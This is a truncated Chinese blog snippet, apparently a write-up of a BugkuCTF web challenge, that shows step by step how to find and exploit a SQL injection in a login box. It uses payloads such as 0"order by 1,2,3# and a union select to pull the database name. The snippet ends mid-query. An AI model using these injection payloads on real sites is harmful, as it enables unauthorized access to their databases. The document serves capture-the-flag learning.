BugkuCTF之web题之这是一个神奇的登录框

BugkuCTF之web题之这是一个神奇的登录框 打开网页以后发现： 随便输入帐号和密码出现： 那就开始寻找注入点吧，输入0’发现仍是： 输入0" 发现报错： 肯定能够注入，判断字段有多少个 0"order by 1,2,3# 发现： 说明有两列。web 输入 0" union select database(),2# ，获得库名： 继续输入 0" union select table_name,

>>阅读原文<<